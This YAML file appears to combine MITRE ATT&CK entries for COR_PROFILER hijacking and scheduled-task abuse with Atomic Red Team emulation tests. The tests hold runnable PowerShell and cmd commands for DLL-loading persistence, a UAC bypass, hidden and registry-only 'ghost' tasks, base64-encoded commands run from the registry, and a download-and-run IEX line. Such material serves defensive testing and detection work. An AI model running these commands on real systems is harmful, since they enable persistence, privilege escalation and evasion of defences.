  T1574.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jesse Brown, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      created: '2020-06-24T22:30:55.843Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Hijack Execution Flow: COR_PROFILER'
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '"#{file_name}"'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
execution:
  T1053.005:
    technique:
      modified: '2023-11-15T14:33:53.354Z'
      name: 'Scheduled Task/Job: Scheduled Task'
      description: "Adversaries may abuse the Windows Task Scheduler to perform task
        scheduling for initial or recurring execution of malicious code. There are
        multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111)
        utility can be run directly on the command line, or the Task Scheduler can
        be opened through the GUI within the Administrator Tools section of the Control
        Panel. In some cases, adversaries have used a .NET wrapper for the Windows
        Task Scheduler, and alternatively, adversaries have used the Windows netapi32
        library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110)
        utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)),
        though <code>at.exe</code> can not access tasks created with <code>schtasks</code>
        or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute
        programs at system startup or on a scheduled basis for persistence. The Windows
        Task Scheduler can also be abused to conduct remote Execution as part of Lateral
        Movement and/or to run a process under the context of a specified account
        (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),
        adversaries have also abused the Windows Task Scheduler to potentially mask
        one-time execution under signed/trusted system processes.(Citation: ProofPoint
        Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide
        Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible
        to defender tools and manual queries used to enumerate tasks. Specifically,
        an adversary may hide a task from `schtasks /query` and the Task Scheduler
        by deleting the associated Security Descriptor (SD) registry value (where
        deletion of this value must be completed using SYSTEM permissions).(Citation:
        SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate
        methods to hide tasks, such as altering the metadata (e.g., `Index` value)
        within associated registry keys.(Citation: Defending Against Scheduled Task
        Attacks in Windows Environments) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      - Sittikorn Sangrattanapitak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      created: '2019-11-27T14:58:00.429Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/005
        external_id: T1053.005
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: Defending Against Scheduled Task Attacks in Windows Environments
        description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled
          Tasks. Retrieved July 5, 2022.
        url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Tarrask scheduled task
        description: Microsoft Threat Intelligence Team & Detection and Response Team
          . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion.
          Retrieved June 1, 2022.
        url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      - source_name: SigmaHQ
        description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule
          Task - Registry. Retrieved June 1, 2022.
        url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

        '
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

          '
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.
        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
        target:
          description: Target
          type: string
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: string
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: string
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

          '
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

          '
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
        cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false

          '
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

        '
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task Executing Base64 Encoded Commands From Registry
      auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
      description: "A Base64 Encoded command will be stored in the registry (ping
        127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
        will launch powershell to decode and run the command in the registry daily.\nThis
        is a persistence mechanism recently seen in use by Qakbot.  \n\n[Additiona
        Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
      supported_platforms:
      - windows
      input_arguments:
        time:
          description: Daily scheduled task execution time
          type: string
          default: '07:45'
      executor:
        command: |
          reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
          schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
        cleanup_command: |
          schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
          reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
        name: command_prompt
    - name: Import XML Schedule Task with Hidden Attribute
      auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4
      description: "Create an scheduled task that executes calc.exe after user login
        from XML that contains hidden setting attribute. \nThis technique was seen
        several times in tricbot malware and also with the targetted attack campaigne
        the industroyer2.\n"
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false
          >$null 2>&1

          '
    - name: PowerShell Modify A Scheduled Task
      auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d
      description: "Create a scheduled task with an action and modify the action to
        do something else. The initial idea is to showcase Microsoft Windows TaskScheduler
        Operational log modification of an action on a Task already registered. \nIt
        will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon
        successful execution, powershell.exe will create a scheduled task and modify
        the action. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "cmd.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTaskModifed -InputObject $object
          $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
          Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation
      auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54
      description: |
        Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
        This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.
        For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).
      supported_platforms:
      - windows
      input_arguments:
        task_name:
          description: Name of the newly-added task
          type: string
          default: lilghostie
        task_command:
          description: Command you want the task to execute
          type: string
          default: notepad.exe
        target:
          description: System where the task should run
          type: string
          default: localhost
        user_name:
          description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin
          type: string
          default: "$env:USERDOMAIN + '\\' + $env:USERNAME"
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
